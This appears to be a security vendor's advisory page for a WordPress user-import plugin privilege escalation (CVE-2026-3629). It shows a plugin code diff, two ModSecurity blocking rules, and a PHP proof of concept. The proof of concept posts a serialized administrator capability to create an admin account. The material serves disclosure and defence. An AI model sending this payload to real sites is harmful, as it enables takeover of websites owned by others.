+			border-radius: 9px;
+		}
+
+		.user-importer-progress::-moz-progress-bar {
+			background: #2271b1;
+			border-radius: 9px;
+		}
+
+		.acui-importing .acui-import-options,
+		.acui-importing .sidebar,
+		.acui-importing .header,
+		.acui-importing .acui-message{
+			display: none !important;
+		}

+		.acui-importing .user-importer-progress-wrapper{
+			display: block !important;
+		}
+		</style>
 		<div class="row">
 			<div class="header">
 				<?php do_action( 'acui_homepage_start' ); ?>
@@ -58,6 +113,18 @@
 			<div class="main_bar">
 				<form method="POST" id="acui_form" enctype="multipart/form-data" action="" accept-charset="utf-8">

+				<div class="user-importer-progress-wrapper">
+					<progress class="user-importer-progress" value="0" max="100"></progress>
+					<div style="margin-top: 10px; font-weight: bold;">
+						<span class="user-importer-progress-value">0%</span>
+					</div>
+					<div class="user-importer-controls" style="margin-top: 20px;">
+						<button type="button" id="acui_pause_btn" class="button button-secondary"><?php _e( 'Pause', 'import-users-from-csv-with-meta' ); ?></button>
+						<button type="button" id="acui_stop_btn" class="button button-link-delete" style="color: #d63638;"><?php _e( 'Stop', 'import-users-from-csv-with-meta' ); ?></button>
+					</div>
+				</div>
+
+				<div class="acui-import-options">
 				<input class="button-primary" type="submit" name="uploadfile" id="uploadfile_btn_up" value="<?php _e( 'Start importing', 'import-users-from-csv-with-meta' ); ?>"/>
 				<input class="button-primary" type="submit" name="save_options" value="<?php _e( 'Save options without importing', 'import-users-from-csv-with-meta' ); ?>"/>

@@ -104,7 +171,7 @@
 							'selected' => is_array( $settings->get( 'role' ) ) ? $settings->get( 'role' ) : array( $settings->get( 'role' ) ),
 							'style' => 'width:100%;'
                         )); ?>
-						<p class="description"><?php _e( sprintf( 'You can also import roles from a CSV column. Please read documentation tab to see how it can be done. If you choose more than one role, the roles would be assigned correctly but you should use <a href="https://wordpress.org/plugins/profile-builder/">Profile Builder - Roles Editor</a> to manage them. <a href="%s">Click to Install & Activate</a>', esc_url( wp_nonce_url( self_admin_url('update.php?action=install-plugin&plugin=profile-builder'), 'install-plugin_profile-builder') ) ), 'import-users-from-csv-with-meta' ); ?></p>
+						<p class="description"><?php _e( 'You can also import roles from a CSV column. Please read the Documentation tab to see how this can be done. WordPress core allows assigning multiple roles to a user; however, the default interface only displays one role, although some plugins solve this limitation.', 'import-users-from-csv-with-meta' ); ?></p>

 						</td>
 					</tr>
@@ -289,11 +356,39 @@

 				<?php do_action( 'acui_tab_import_before_import_button' ); ?>

-				<?php wp_nonce_field( 'codection-security', 'security' ); ?>
-
 				<input class="button-primary" type="submit" name="uploadfile" id="uploadfile_btn" value="<?php _e( 'Start importing', 'import-users-from-csv-with-meta' ); ?>"/>
 				<input class="button-primary" type="submit" name="save_options" value="<?php _e( 'Save options without importing', 'import-users-from-csv-with-meta' ); ?>"/>
+				</div>
+				<?php wp_nonce_field( 'codection-security', 'security' ); ?>
 				</form>
+				<div id="acui_import_log" style="margin-top: 20px;"></div>
+				<div id="acui_import_results">
+					<h3><?php _e( 'Results', 'import-users-from-csv-with-meta' ); ?></h3>
+					<table id="acui_import_summary" class="form-table">
+						<tbody>
+							<tr>
+								<th><?php _e( 'Users processed', 'import-users-from-csv-with-meta' ); ?></th>
+								<td><span id="acui_result_processed">0</span></td>
+							</tr>
+							<tr>
+								<th><?php _e( 'Users created', 'import-users-from-csv-with-meta' ); ?></th>
+								<td><span id="acui_result_created">0</span></td>
+							</tr>
+							<tr>
+								<th><?php _e( 'Users updated', 'import-users-from-csv-with-meta' ); ?></th>
+								<td><span id="acui_result_updated">0</span></td>
+							</tr>
+							<tr>
+								<th><?php _e( 'Users deleted', 'import-users-from-csv-with-meta' ); ?></th>
+								<td><span id="acui_result_deleted">0</span></td>
+							</tr>
+							<tr>
+								<th><?php _e( 'Errors, warnings and notices found', 'import-users-from-csv-with-meta' ); ?></th>
+								<td><span id="acui_result_errors">0</span></td>
+							</tr>
+						</tbody>
+					</table>
+				</div>
 			</div>

 			<div class="sidebar">
@@ -348,41 +443,6 @@
 				</div>
 			</div>
 		</div>
-
-
-		<!--<div class="row">
-			<div class="batch-importer">
-				<h1><?php esc_html_e( 'Import Products', 'woocommerce' ); ?></h1>
-				<div class="wc-progress-form-content woocommerce-importer woocommerce-importer__importing">
-					<header>
-						<span class="spinner is-active"></span>
-						<h2><?php esc_html_e( 'Importing', 'woocommerce' ); ?></h2>
-						<p><?php esc_html_e( 'Your users are now being imported...', 'woocommerce' ); ?></p>
-					</header>
-					<section>
-						<progress class="acui-importer-progress" max="100" value="0"></progress>
-					</section>
-				</div>
-
-				<div class="woocommerce-progress-form-wrapper">
-					<ol class="wc-progress-steps">
-						<?php /*foreach ( $this->steps as $step_key => $step ) : ?>
-							<?php
-							$step_class = '';
-							if ( $step_key === $this->step ) {
-								$step_class = 'active';
-							} elseif ( array_search( $this->step, array_keys( $this->steps ), true ) > array_search( $step_key, array_keys( $this->steps ), true ) ) {
-								$step_class = 'done';
-							}
-							?>
-							<li class="<?php echo esc_attr( $step_class ); ?>">
-								<?php echo esc_html( $step['name'] ); ?>
-							</li>
-						<?php endforeach;*/ ?>
-					</ol>
-				</div>
-			</div>
-		</div> -->
 	</div>

 	<script type="text/javascript">
--- a/import-users-from-csv-with-meta/classes/import.php
+++ b/import-users-from-csv-with-meta/classes/import.php
@@ -3,6 +3,32 @@
     function __construct(){
     }

+    function hooks(){
+        add_action( 'wp_ajax_acui_import_users_batch', array( $this, 'ajax_import_users_batch' ) );
+    }
+
+    static function enqueue(){
+        wp_enqueue_script( 'acui_import_js', plugins_url( 'assets/import.js', dirname( __FILE__ ) ), array( 'jquery' ), ACUI_VERSION, true );
+        wp_localize_script( 'acui_import_js', 'acui_import_js_object', array(
+            'ajaxurl' => admin_url( 'admin-ajax.php' ),
+            'starting_process' => __( 'Starting process', 'import-users-from-csv-with-meta' ),
+            'step' => __( 'Step', 'import-users-from-csv-with-meta' ),
+            'of_approximately' => __( 'of approximately', 'import-users-from-csv-with-meta' ),
+            'steps' => __( 'steps', 'import-users-from-csv-with-meta' ),
+            'error_thrown' => __( 'Error thrown on the server, cannot continue. Please check console to see full details about the error.', 'import-users-from-csv-with-meta' ),
+            'pause'            => __( 'Pause', 'import-users-from-csv-with-meta' ),
+            'resume'           => __( 'Resume', 'import-users-from-csv-with-meta' ),
+            'stop'             => __( 'Stop', 'import-users-from-csv-with-meta' ),
+            'stopped'          => __( 'Import stopped', 'import-users-from-csv-with-meta' ),
+            'import_done'      => __( 'Import completed successfully.', 'import-users-from-csv-with-meta' ),
+            'import_done_log'  => __( 'The results have been saved in the Log tab.', 'import-users-from-csv-with-meta' ),
+            'view_log'         => __( 'View log', 'import-users-from-csv-with-meta' ),
+            'new_import'       => __( 'New import', 'import-users-from-csv-with-meta' ),
+            'log_url'          => admin_url( 'tools.php?page=acui&tab=log' ),
+            'import_url'       => admin_url( 'tools.php?page=acui&tab=homepage' ),
+        ) );
+    }
+
     function show(){
         if ( !current_user_can( apply_filters( 'acui_capability', 'create_users' ) ) ) {
             wp_die( __( 'You are not allowed to see this content.', 'import-users-from-csv-with-meta' ));
@@ -82,10 +108,14 @@
                 ACUI_Doc::message();
             break;

-            case 'csv-uploaded':
-                ACUI_CSV_Uploaded::admin_gui();
+            case 'tools':
+                ACUI_Tools::admin_gui();
             break;
-
+
+            case 'log':
+                ACUI_Log::admin_gui();
+            break;
+
             case 'help':
                 ACUI_Help::message();
             break;
@@ -103,11 +133,12 @@
                 'frontend' => __( 'Frontend', 'import-users-from-csv-with-meta' ),
                 'cron' => __( 'Recurring import', 'import-users-from-csv-with-meta' ),
                 'cron-export' => __( 'Recurring export', 'import-users-from-csv-with-meta' ),
+                'mail-options' => __( 'Mail options', 'import-users-from-csv-with-meta' ),
                 'columns' => __( 'Extra profile fields', 'import-users-from-csv-with-meta' ),
                 'meta-keys' => __( 'Meta keys', 'import-users-from-csv-with-meta' ),
-                'mail-options' => __( 'Mail options', 'import-users-from-csv-with-meta' ),
                 'doc' => __( 'Documentation', 'import-users-from-csv-with-meta' ),
-                'csv-uploaded' => __( 'CSV uploaded', 'import-users-from-csv-with-meta' ),
+                'tools' => __( 'Tools', 'import-users-from-csv-with-meta' ),
+                'log' => __( 'Log', 'import-users-from-csv-with-meta' ),
                 'help' => __( 'More...', 'import-users-from-csv-with-meta' )
         );

@@ -254,7 +285,7 @@
         $path_to_file = $this->manage_file_upload( $form_data["path_to_file"] );

         if( $path_to_file !== false )
-            $this->import_users( $path_to_file, $form_data, true, false, $step, $initial_row, 29 );
+            $this->import_users( $path_to_file, $form_data, true, false, $step, $initial_row, ACUI_IMPORT_TIME_LIMIT );
     }

     function read_first_row( $data, &$headers, &$positions, &$headers_filtered ){
@@ -266,8 +297,9 @@
         }

         $restricted_fields = ACUIHelper()->get_restricted_fields();
+        $restricted_fields_lower = array_map( 'strtolower', $restricted_fields );
         $i = 0;
-
+
         foreach ( $restricted_fields as $acui_restricted_field ) {
             $positions[ $acui_restricted_field ] = false;
         }
@@ -275,10 +307,10 @@
         foreach( $data as $element ){
             $headers[] = $element;

-            if( in_array( strtolower( $element ) , $restricted_fields ) )
-                $positions[ strtolower( $element ) ] = $i;
-
-            if( !in_array( strtolower( $element ), $restricted_fields ) )
+            $restricted_index = array_search( strtolower( $element ), $restricted_fields_lower );
+            if( $restricted_index !== false )
+                $positions[ $restricted_fields[ $restricted_index ] ] = $i;
+            else
                 $headers_filtered[] = $element;

             $i++;
@@ -638,7 +670,7 @@

         ACUIHelper()->print_row_imported( $row, $data, $errors );

-        do_action( 'post_acui_import_single_user', $headers, $data, $user_id, $role, $positions, $form_data, $is_frontend, $is_cron, $password_changed, $created );
+        do_action( 'acui_post_import_single_user', $headers, $data, $user_id, $role, $positions, $form_data, $is_frontend, $is_cron, $password_changed, $created );

         $mail_for_this_user = false;
         if( $is_cron ){
@@ -714,7 +746,138 @@
         return ( microtime( true ) - $time_start ) >= $time_per_step;
     }

-    function save_transients( $columns, $headers, $headers_filtered, $positions, $errors, $errors_totals, $results, $users_created, $users_updated, $users_ignored, $roles_appeared ){
+    function ajax_import_users_batch(){
+        check_ajax_referer( 'codection-security', 'security' );
+
+        if( !current_user_can( apply_filters( 'acui_capability', 'create_users' ) ) )
+            wp_die( __( 'Only users who are allowed to create users can import them.', 'import-users-from-csv-with-meta' ) );
+
+        $step = isset( $_POST['step'] ) ? absint( $_POST['step'] ) : 1;
+        $row = isset( $_POST['row'] ) ? absint( $_POST['row'] ) : 0;
+        $file = isset( $_POST['file_path'] ) ? sanitize_text_field( $_POST['file_path'] ) : '';
+
+        // On first step, we might need to handle the upload if it's there
+        if( $step == 1 && empty( $file ) ){
+            if( !empty( $_FILES['uploadfile']['tmp_name'] ) ){
+                // Move uploaded file to a more permanent temporary location because tmp_name is deleted after request
+                $upload_dir = wp_upload_dir();
+                $file = $upload_dir['basedir'] . '/acui-import-' . uniqid() . '.csv';
+                move_uploaded_file( $_FILES['uploadfile']['tmp_name'], $file );
+            }
+            elseif( !empty( $_POST['path_to_file'] ) ){
+                $file = $this->manage_file_upload( $_POST['path_to_file'] );
+            }
+        }
+
+        if( empty( $file ) || !file_exists( $file ) ){
+            wp_send_json_error( array( 'message' => __( 'File not found', 'import-users-from-csv-with-meta' ) ) );
+        }
+
+        $form_data = array();
+        if( isset( $_POST['form'] ) )
+            parse_str( $_POST['form'], $form_data );
+        else
+            $form_data = $_POST;
+
+        $limit = ACUI_IMPORT_BATCH_SIZE; // Rows per batch
+
+        // If it's step 1, we also need to get total rows
+        $total_rows = 0;
+        if( $step == 1 ){
+            $handle = fopen( $file, "r" );
+            while( !feof( $handle ) ){
+                fgets( $handle );
+                $total_rows++;
+            }
+            fclose( $handle );
+            // Subtract header row
+            $total_rows = max( 0, $total_rows - 1 );
+            set_transient( 'acui_import_total_rows', $total_rows, HOUR_IN_SECONDS );
+        }
+        else{
+            $total_rows = get_transient( 'acui_import_total_rows' );
+        }
+
+        ob_start();
+        $import_status = $this->import_users( $file, $form_data, false, false, $step, $row, $limit, $total_rows, true );
+        $log = ob_get_clean();
+
+        // Accumulate log across batches for Log tab
+        if ( $step == 1 ) {
+            set_transient( 'acui_import_log_accumulate', $log, HOUR_IN_SECONDS );
+        } else {
+            $accumulated = get_transient( 'acui_import_log_accumulate' );
+            set_transient( 'acui_import_log_accumulate', ( $accumulated !== false ? $accumulated : '' ) . $log, HOUR_IN_SECONDS );
+        }
+
+        $next_row = $import_status['row'];
+        $percentage = $total_rows ? min( 100, floor( ( $next_row / ( $total_rows + 1 ) ) * 100 ) ) : 100;
+
+        // Results data from import_users() for live progress
+        $results_data = isset( $import_status['results'] ) ? $import_status['results'] : array( 'created' => 0, 'updated' => 0, 'deleted' => 0 );
+        $errors_count = isset( $import_status['errors_count'] ) ? $import_status['errors_count'] : 0;
+
+        if( $import_status['done'] ){
+            // Finalize
+            $users_created = get_transient( 'acui_users_created' );
+            $users_updated = get_transient( 'acui_users_updated' );
+            $users_ignored = get_transient( 'acui_users_ignored' );
+            $users_deleted = get_transient( 'acui_users_deleted' );
+
+            if( !is_array( $users_created ) ) $users_created = array();
+            if( !is_array( $users_updated ) ) $users_updated = array();
+            if( !is_array( $users_ignored ) ) $users_ignored = array();
+            if( !is_array( $users_deleted ) ) $users_deleted = array();
+
+            do_action( 'acui_after_import_users', $users_created, $users_updated, $users_deleted, $users_ignored );
+
+            // Generate results HTML for the Log tab
+            $errors_for_log = get_transient( 'acui_errors' );
+            if( !is_array( $errors_for_log ) ) $errors_for_log = array();
+
+            ob_start();
+            ACUIHelper()->print_errors( $errors_for_log );
+            ACUIHelper()->print_results( $results_data, $errors_for_log );
+            ACUIHelper()->print_end_of_process();
+            ACUIHelper()->execute_datatable();
+            $results_log_html = ob_get_clean();
+
+            // Save full log (rows + results) for the Log tab
+            $full_log = get_transient( 'acui_import_log_accumulate' );
+            update_option( 'acui_last_import_log', array(
+                'date' => current_time( 'mysql' ),
+                'html' => ( $full_log !== false ? $full_log : $log ) . $results_log_html,
+            ), false );
+            delete_transient( 'acui_import_log_accumulate' );
+
+            // Clean up file if it was our temporary one
+            if( strpos( $file, 'acui-import-' ) !== false )
+                @unlink( $file );
+
+            wp_send_json_success( array(
+                'step' => 'done',
+                'percentage' => 100,
+                'log' => $log,
+                'results' => $results_data,
+                'errors_count' => $errors_count,
+                'file_path' => $file
+            ) );
+        }
+        else{
+            wp_send_json_success( array(
+                'step' => $step + 1,
+                'row' => $next_row,
+                'percentage' => $percentage,
+                'total_steps' => ceil( $total_rows / $limit ),
+                'log' => $log,
+                'results' => $results_data,
+                'errors_count' => $errors_count,
+                'file_path' => $file
+            ) );
+        }
+    }
+
+    function save_transients( $columns, $headers, $headers_filtered, $positions, $errors, $errors_totals, $results, $users_created, $users_updated, $users_ignored, $roles_appeared, $users_deleted = array() ){
         set_transient( 'acui_columns', $columns, 15 * MINUTE_IN_SECONDS );
         set_transient( 'acui_headers', $headers, 15 * MINUTE_IN_SECONDS );
         set_transient( 'acui_headers_filtered', $headers_filtered, 15 * MINUTE_IN_SECONDS );
@@ -726,16 +889,17 @@
         set_transient( 'acui_users_updated', $users_updated, 15 * MINUTE_IN_SECONDS );
         set_transient( 'acui_users_ignored', $users_ignored, 15 * MINUTE_IN_SECONDS );
         set_transient( 'acui_roles_appeared', $roles_appeared, 15 * MINUTE_IN_SECONDS );
+        set_transient( 'acui_users_deleted', $users_deleted, 15 * MINUTE_IN_SECONDS );
     }

-    function import_users( $file, $form_data, $_is_cron = false, $_is_frontend = false, $step = 1, $initial_row = 0, $time_per_step = -1 ){
+    function import_users( $file, $form_data, $_is_cron = false, $_is_frontend = false, $step = 1, $initial_row = 0, $time_per_step = -1, $total_rows = 0, $is_batch = false ){
         if( !function_exists( 'wp_delete_user' ) ) {
             require_once( ABSPATH . 'wp-admin/includes/user.php' );
         }

         $time_start = microtime( true );

-        if( $time_per_step == -1 )
+        if( $time_per_step == -1 || $time_per_step > ACUI_IMPORT_BATCH_SIZE ) // If it's not batch, or a large limit (legacy)
             @set_time_limit( 0 );

         global $errors, $errors_totals, $is_frontend, $is_cron;
@@ -744,6 +908,7 @@
         $is_cron = $_is_cron;
         $is_backend = !$is_frontend && !$is_cron;
         $row = $initial_row;
+        $limit = ($time_per_step > 0 && $time_per_step <= 100) ? $time_per_step : 0;

         $settings = $this->prepare_settings( $form_data );

@@ -769,6 +934,7 @@
             $users_ignored = array();

             $roles_appeared = $settings['role_default'];
+            $users_deleted = array();
         }
         else{
             $columns = get_transient( 'acui_columns' );
@@ -787,17 +953,22 @@
             $users_ignored = get_transient( 'acui_users_ignored' );

             $roles_appeared = get_transient( 'acui_roles_appeared' );
+            $users_deleted = get_transient( 'acui_users_deleted' );
+            if( !is_array( $users_deleted ) ) $users_deleted = array();
         }

+        echo '<div class="wrap">';
+
         if( $step == 1 ){
-            do_action( 'before_acui_import_users' );
+            do_action( 'acui_before_import_users' );

-            echo '<div class="wrap">';
             echo '<h2>' . apply_filters( 'acui_log_main_title', __('Importing users','import-users-from-csv-with-meta') ) . '</h2>';

             echo apply_filters( "acui_log_header", "<h3>" . __('Ready to registers','import-users-from-csv-with-meta') . "</h3>" );
             echo apply_filters( "acui_log_header_first_row_explanation", "<p>" . __('First row represents the format of the sheet','import-users-from-csv-with-meta') . "</p>" );
-        }
+        } else {
+            ACUIHelper()->print_table_header_footer( $headers, false );
+        }

         $manager = new SplFileObject( $file );
         if( $initial_row != 0 )
@@ -856,123 +1027,156 @@
                 }
             }

+            if( $limit > 0 && ($row - $initial_row) >= $limit ){
+                $this->save_transients( $columns, $headers, $headers_filtered, $positions, $errors, $errors_totals, $results, $users_created, $users_updated, $users_ignored, $roles_appeared, $users_deleted );
+                ACUIHelper()->print_table_end( false );
+                echo '</div>';
+                return array( 'row' => $row, 'done' => false, 'results' => $results, 'errors_count' => count( $errors ) );
+            }
+
             if( $this->time_exceeded( $time_start, $time_per_step ) ){
-                $this->save_transients( $columns, $headers, $headers_filtered, $positions, $errors, $errors_totals, $results, $users_created, $users_updated, $users_ignored, $roles_appeared );
-
+                $this->save_transients( $columns, $headers, $headers_filtered, $positions, $errors, $errors_totals, $results, $users_created, $users_updated, $users_ignored, $roles_appeared, $users_deleted );
+
                 if( $is_cron ){
                     as_enqueue_async_action( 'acui_cron_process_step', array( 'step' => $step + 1, 'initial_row' => $row ) );
                 }
-                break;
+                ACUIHelper()->print_table_end( false );
+                echo '</div>';
+                return array( 'row' => $row, 'done' => false, 'results' => $results, 'errors_count' => count( $errors ) );
             }
         endwhile;

-        ACUIHelper()->print_table_end();
+        $is_last_step = ($total_rows == 0) || ($row >= $total_rows + 1);

-        ACUIHelper()->print_errors( $errors );
+        if( $is_last_step || $time_per_step == -1 ){

-        ACUIHelper()->maybe_enable_wordpress_core_emails();
+            ACUIHelper()->print_table_end( true, $headers );

-        // delete all users that have not been imported
-        $delete_users_flag = false;
-        $delete_users_assign_posts = false;
-        $change_role_not_present_flag = false;
+            if( !$is_batch ){
+                ACUIHelper()->print_errors( $errors );
+            }

-        if( $settings['delete_users_not_present'] == 'yes' ){
-            $delete_users_flag = true;
-            $delete_users_assign_posts = $settings['delete_users_assign_posts'];
-        }
+            ACUIHelper()->maybe_enable_wordpress_core_emails();

-        if( $is_cron && get_option( "acui_cron_delete_users" ) ){
-            $delete_users_flag = true;
-            $delete_users_assign_posts = get_option( "acui_cron_delete_users_assign_posts");
-        }
+            // delete all users that have not been imported
+            $delete_users_flag = false;
+            $delete_users_assign_posts = false;
+            $change_role_not_present_flag = false;

-        if( $is_backend && $settings['change_role_not_present'] == 'yes' ){
-            $change_role_not_present_flag = true;
-            $change_role_not_present_role = $settings['change_role_not_present_role'];
-        }
+            if( $settings['delete_users_not_present'] == 'yes' ){
+                $delete_users_flag = true;
+                $delete_users_assign_posts = $settings['delete_users_assign_posts'];
+            }

-        if( $is_cron && !empty( get_option( "acui_cron_change_role_not_present" ) ) ){
-            $change_role_not_present_flag = true;
-            $change_role_not_present_role = get_option( "acui_cron_change_role_not_present_role");
-        }
+            if( $is_cron && get_option( "acui_cron_delete_users" ) ){
+                $delete_users_flag = true;
+                $delete_users_assign_posts = get_option( "acui_cron_delete_users_assign_posts");
+            }

-        if( $is_frontend && !empty( get_option( "acui_frontend_change_role_not_present" ) ) ){
-            $change_role_not_present_flag = true;
-            $change_role_not_present_role = get_option( "acui_frontend_change_role_not_present_role");
-        }
+            if( $is_backend && $settings['change_role_not_present'] == 'yes' ){
+                $change_role_not_present_flag = true;
+                $change_role_not_present_role = $settings['change_role_not_present_role'];
+            }

-        if( $errors_totals['errors'] > 0 || $errors_totals['warnings'] > 0 ){ // if there is some problem of some kind importing we won't proceed with delete or changing role to users not present to avoid problems
-            $delete_users_flag = false;
-            $change_role_not_present_flag = false;
-        }
+            if( $is_cron && !empty( get_option( "acui_cron_change_role_not_present" ) ) ){
+                $change_role_not_present_flag = true;
+                $change_role_not_present_role = get_option( "acui_cron_change_role_not_present_role");
+            }
+
+            if( $is_frontend && !empty( get_option( "acui_frontend_change_role_not_present" ) ) ){
+                $change_role_not_present_flag = true;
+                $change_role_not_present_role = get_option( "acui_frontend_change_role_not_present_role");
+            }
+
+            if( $errors_totals['errors'] > 0 || $errors_totals['warnings'] > 0 ){ // if there is some problem of some kind importing we won't proceed with delete or changing role to users not present to avoid problems
+                $delete_users_flag = false;
+                $change_role_not_present_flag = false;
+            }

-        $users_registered = array_merge( $users_created, $users_updated, $users_ignored );
-        $users_deleted = array();
+            $users_registered = array_merge( $users_created, $users_updated, $users_ignored );
+            $users_deleted = array();

-        if( $delete_users_flag ):
             $exclude_roles = array_diff( array_keys( wp_roles()->roles ), array_keys( ACUIHelper()->get_editable_roles() ) ); // remove editable roles

-            if ( !in_array( 'administrator', $exclude_roles )){ // just to be sure
+            if ( !in_array( 'administrator', $exclude_roles  )){ // just to be sure
                 $exclude_roles[] = 'administrator';
             }

-            $args = array(
-                'fields' => array( 'ID' ),
-                'role__not_in' => $exclude_roles,
-                'exclude' => apply_filters( 'acui_exclude_users_to_delete', array( get_current_user_id() ) ), // current user never cannot be deleted
-            );
+            if( $delete_users_flag ):
+                $args = array(
+                    'fields' => array( 'ID' ),
+                    'role__not_in' => $exclude_roles,
+                    'exclude' => apply_filters( 'acui_exclude_users_to_delete', array( get_current_user_id() ) ), // current user never cannot be deleted
+                );

-            if( $settings['delete_users_only_specified_role'] || $settings['not_present_same_role'] = 'yes' ){
-                $args[ 'role__in' ] = $roles_appeared;
-            }
+                if( $settings['delete_users_only_specified_role'] || ($settings['not_present_same_role'] == 'yes') ){
+                    $args[ 'role__in' ] = $roles_appeared;
+                }

-            $all_users = get_users( $args );
-            $all_users_ids = array_map( function( $element ){ return intval( $element->ID ); }, $all_users );
-            $users_to_remove = array_diff( $all_users_ids, $users_registered );
+                $all_users = get_users( $args );
+                $all_users_ids = array_map( function( $element ){ return intval( $element->ID ); }, $all_users );
+                $users_to_remove = array_diff( $all_users_ids, $users_registered );
+
+                $delete_users_assign_posts = ( get_userdata( $delete_users_assign_posts ) === false ) ? false : $delete_users_assign_posts;
+                $results['deleted'] = count( $users_to_remove );
+
+                foreach ( $users_to_remove as $user_id ) {
+                    ( empty( $delete_users_assign_posts ) ) ? wp_delete_user( $user_id ) : wp_delete_user( $user_id, $delete_users_assign_posts );
+                    array_push( $users_deleted, $user_id );
+                }
+            endif;

-            $delete_users_assign_posts = ( get_userdata( $delete_users_assign_posts ) === false ) ? false : $delete_users_assign_posts;
-            $results['deleted'] = count( $users_to_remove );
+            if( $change_role_not_present_flag && !$delete_users_flag ):
+                $args = array(
+                    'fields' => array( 'ID' ),
+                    'role__not_in' => $exclude_roles,
+                    'exclude' => apply_filters( 'acui_exclude_users_to_change_role', array( get_current_user_id() ) ),
+                );

-  

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3629
# Blocks privilege escalation attempts via wp_capabilities parameter in Import and export users and customers plugin
SecRule REQUEST_URI "@rx ^/(wp-admin/admin-ajax.php|wp-admin/profile.php|wp-login.php?action=register)" 
  "id:1003629,phase:2,deny,status:403,chain,msg:'CVE-2026-3629: Privilege escalation attempt in Import and export users and customers plugin',severity:'CRITICAL',tag:'CVE-2026-3629',tag:'wordpress',tag:'plugin',tag:'acui'"
  SecRule ARGS_POST:wp_capabilities "@rx ^a:[0-9]+:{.*administrator.*}" 
    "t:none,t:urlDecodeUni,t:htmlEntityDecode,chain"
    SecRule &ARGS_POST:action "@eq 0" 
      "t:none"

# Additional rule for frontend save action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:1003630,phase:2,deny,status:403,chain,msg:'CVE-2026-3629: Frontend privilege escalation attempt',severity:'CRITICAL',tag:'CVE-2026-3629',tag:'wordpress',tag:'plugin',tag:'acui'"
  SecRule ARGS_POST:action "@streq acui_frontend_save" 
    "t:none,chain"
    SecRule ARGS_POST:wp_capabilities "@rx ^a:[0-9]+:{.*}" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3629 - Import and export users and customers <= 1.29.7 - Privilege Escalation to Administrator via save_extra_user_profile_fields

<?php
/**
 * Proof of Concept for CVE-2026-3629
 * This script demonstrates privilege escalation in the Import and export users and customers WordPress plugin.
 * Prerequisites:
 * 1. Plugin version <= 1.29.7 installed
 * 2. 'Show fields in profile' setting enabled
 * 3. CSV with wp_capabilities column previously imported
 */

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';

// WordPress nonce may be required depending on configuration
// This exploit works when the plugin doesn't properly validate nonces
$nonce = ''; // May need to be extracted from registration forms

// Craft the payload with administrator capabilities
// WordPress stores capabilities as a serialized array
$admin_capabilities = serialize(array('administrator' => true));

// Prepare the POST data for user registration/profile update
$post_data = array(
    'action' => 'acui_frontend_save', // Frontend save action
    'user_id' => 'new', // For new user registration
    'user_login' => 'attacker_user',
    'user_email' => 'attacker@example.com',
    'pass1' => 'Password123!',
    'pass2' => 'Password123!',
    'wp_capabilities' => $admin_capabilities, // The vulnerable parameter
    'nonce' => $nonce
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate request
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
));

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code == 200) {
    echo "Request successful. Check if user 'attacker_user' was created with admin privileges.n";
    echo "Response: " . substr($response, 0, 500) . "...n";
} else {
    echo "Request failed with HTTP code: $http_coden";
}

curl_close($ch);

// Alternative approach: Direct profile update if user already exists
// This targets the save_extra_user_profile_fields function directly
$profile_update_url = 'https://vulnerable-site.com/wp-admin/profile.php';
$profile_data = array(
    'wp_capabilities' => $admin_capabilities,
    'submit' => 'Update Profile'
);

echo "nNote: This PoC requires specific plugin configuration to work.n";
echo "The 'Show fields in profile' setting must be enabled.n";
echo "A CSV file with wp_capabilities column must have been imported previously.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School